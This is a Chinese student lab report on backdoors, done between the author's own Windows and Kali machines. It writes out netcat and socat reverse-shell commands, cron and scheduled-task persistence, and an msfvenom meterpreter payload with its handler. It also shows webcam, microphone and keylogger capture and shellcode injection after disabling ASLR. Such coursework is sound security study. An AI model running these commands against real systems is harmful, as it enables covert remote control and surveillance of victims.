• 20174323张加欣-Exp2 后门原理与实践


    1.实验内容、基础知识及实验准备

    1.1  实验内容  

    • 任务一:使用netcat获取主机操作Shell,cron启动。
    • 任务二:使用socat获取主机操作Shell, 任务计划启动。
    • 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
    • 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

    1.2  基础知识  

    后门概念:

           在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。

    常见后门:

    • 编译器的后门
    • 应用程序中的后门
    • 操作系统的后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序

    常用后门工具:

           Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。

           Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。

           Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。

           PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。

           InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。

           Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。

    1.3  实验准备  

    查阅IP地址:

    • Windows,查阅IP命令ipconfig,IP地址:192.168.2.125
    • Kali,查阅IP命令ifconfig,IP地址:192.168.145.128

    关闭防火墙:

    • 关闭Windows防火墙:控制面板 > 系统和安全 > 关闭Windows Defender 防火墙

    • 关闭电脑中的杀毒软件
    • 关闭Linux防火墙:先安装 apt-get install ufw ;再输入指令 ufw disable

    Windows下载Ncat&Socat(P.S. 可以将Ncat文件夹放置在C:UsersAdministrator  目录下)

    2.使用Ncat获取主机操作Shell,cron启动

    2.1  Windows获得Linux Shell  

    • Windows打开监听,使用Ncat程序监听本机的4323端口号,ncat.exe -l -p 4323

    • Kali反弹连接Windows的4323端号,指令为nc 192.168.2.125 4323 -e /bin/sh 。可以发现Kali被攻击成功,Windows获得Linux Shell。

    2.2  Linux获得Win Shell  

    • Kali运行监听指令nc -l -p 4323,监听本机4323端口。

    • Windows中反弹连接Kali的4323端口,指令为ncat.exe -e cmd.exe 192.168.145.128 4323

    • 返回Linux,发现 Windows被攻击成功,Kali获得Windows Shell。

    2.3  使用Ncat传输数据  

    • 选择从Kali向Windows传输数据。
    • 首先在Windows下监听4323端口,指令nc -l 4323
    • Kali反弹连接到Windows,指令nc 192.168.145.128 4323
    • 连接成功,双方可以进行通信。

     2.4  使用Ncat传输文件  

    • Windows输入指令nc -l 4323 > 4323.out ,将收到的数据保存到file1.out中。
    • Kali运行指令nc 192.168.2.125 4323 < 4323.in ,将Kali端的文件传输过去。

    2.5  cron启动  

    • Windows输入指令ncat -l -p 4323,监听4323端口。
    • 第一次编辑时,会提示选择编辑器,这里选择的是3
    • 这时,在Kali终端输入指令crontab -e ,并且在最后一行输入11 * * * * /bin/netcat 192.168.2.125 4323 -e /bin/she。这是一条定时任务,表示每小时的第11分钟反向连接Windows主机的4323端口

    • 等到11分的时候,在Windows输入ls,可以发现Windows获得Kali Shell。

    3.使用socat获取主机操作Shell, 任务计划启动

    • 首先在Windows敲击Win+R,输入 compmgmt.msc,打开“计算机管理”。

    • 在“任务计划程序”中点击“创建任务”。
    • 在“创建任务”中点击“新建”,填写新建任务名称,我这里命名为“实验2”。

    • 触发器中的开始任务选择“工作站锁定时”。

    • 在操作中的“程序或脚本”选择socat.exe文件的路径,在“添加参数”一栏中填写,点击启动任务。

    • 这时需要注销电脑,重新登录。

    • 切换到Kali,执行指令 socat - tcp:192.168.2.125:4323,可以发现获得一个Shell。

    4.使用MSF meterpreter(或其他软件)生成可执行文件,利用Ncat或socat传送到主机并运行获取主机Shell

    • 首先在Kali内生成后门程序,输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=4323 -f exe > 20174323_backdoor.exe,在(这里由于家里网络原因,IP地址暂时更换为172.20.10.3,之后的IP地址还是192.168.2.125)
    • 在Windows上输入指令 ncat.exe -lv 4323 > 20174323_backdoor.exe,使本机进入接受文件模式。
    • 接着在Kali中输入 nc 192.168.2.125 4323 < 20174323_backdoor.exe

    • Windows接受程序,传送后的程序。
    • 在Kali上输入msfconsole,进入msfconsole控制台。
    • 在msfconsole中输入以下指令:

              use exploit/multi/handler启用侦听模块,设置payload。

              set payload windows/x64/meterpreter/reverse_tcp使用和生成后门程序时相同的 payload。

              set LHOST 192.168.145.128设置LHOST。

              set LPORT 4323设置LPORT。

              exploit开始监听。

    • 运行Windows下的后门程序,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的Shell。

    5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • Kali输入指令record_mic,进行录音,可以截获一段音频。

    • webcam_snap,使用摄像头拍照(这里拍的是我的学号20174323)。

    • 使用指令keyscan_start开始记录下击键的过程,使用指令keyscan_dump读取击键的记录。
    • 使用screenshot,进行截屏。

    6.可选加分内容:使用MSF生成ShellCode,注入到实践1中的pwn1中,获取反弹连接Shell

    • 首先在实验前,要进行一系列设置,一定要设置:

              execstack -s pwn1 //设置堆栈可执行

              execstack -q pwn1 //查询文件的堆栈是否可执行

              more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数

              echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

              more /proc/sys/kernel/randomize_va_space

    • 按照Exp1的做法,关闭内存地址随机化,设置堆栈可执行,调试找到ShellCode地址,地址和第一次相同0xffffd6dc+4=0xffffd6e0。

    • 注入代码,进行修改。

    • 打开另一个终端,打开msfconsole,进行以下步骤:

              use exploit/multi/handler,启用侦听模块。

              set payload linux/x86/shell_reverse_tcp使用和生成后门程序时相同的 payload。

              set LHOST 127.0.0.1设置LHOST(shellcode里面确定的)。

              set LPORT 4444设置LPORT(shellcode里面确定的)。

              show options

              exploit,开始监听。

    • 这时在原本的终端输入(cat input_shellcode;cat) | ./pwn4323,执行ShellCode。

    7.基础问题回答及实验心得

    7.1  基础问题回答  

    • Q:例举你能想到的一个后门进入到你系统中的可能方式?

               A:下载软件时,如果没有在官网,而是根据搜索引擎的推荐项随意点开一个链接下载,往往会捆绑下载一些我们并不需要的软件。这其中难免会有木马病毒,从而对电脑安全产生威胁。

    • Q:例举你知道的后门如何启动起来(Windows及Linux)的方式?

               A:Windows,修改注册表、设置为开机自启动、诱导用户点击从而执行等等

                     Linux:可以通过crontab功能将木马设为定时启动,也可以通过对正常软件的绑定注入ShellCode达到开启后门的目的。

    • Q:Meterpreter有哪些给你映像深刻的功能?

               A:这次试验给我留下深刻印象的主要有获取目标主机音频、摄像头、击键记录等内容。除此之外还有植入后门实施远程控制、metsvc后渗透攻击模块等等。

    • Q:如何发现自己有系统有没有被安装后门?

               A:可以检测网络连接,查看是否有IP与本机建立连接;安装专门的杀毒软件,实时防护,并定期检测电脑安全情况;查看任务计划程序、开机自启动项中是否有可疑程序,等等。

    7.2  实验心得  

           其实这次实验难度并不大,但是我在实验过程还是犯了很多低级错误,耽误了进度。并且这次实验让我认识到杀毒软件的重要性,感受到了后门程序的可怕。在之前的学习中,我了解到后门就是不经过正常认证流程而访问系统的通道。攻击者可以连接这个程序,从而远程执行各种指令,达到攻击的目的。并且通过这次实验,实践认识到后门的形成及植入过程,最后还尝试了对靶机进行控制。在实验中进行拍照,录音也十分有趣~

  • 相关阅读:
    centos 配置php
    Linux下端口被占用解决
    LUOGU P1040 加分二叉树
    bzoj 1057: [ZJOI2007]棋盘制作
    1858: [Scoi2010]序列操作
    poj 2559 Largest Rectangle in a Histogram
    2018/7/19 模拟赛
    SPOJ 2916 GSS5
    BZOJ 4004: [JLOI2015]装备购买
    CF 549B Looksery Party
  • 原文地址:https://www.cnblogs.com/174323jiaxin/p/12528353.html
Copyright © 2020-2023  润新知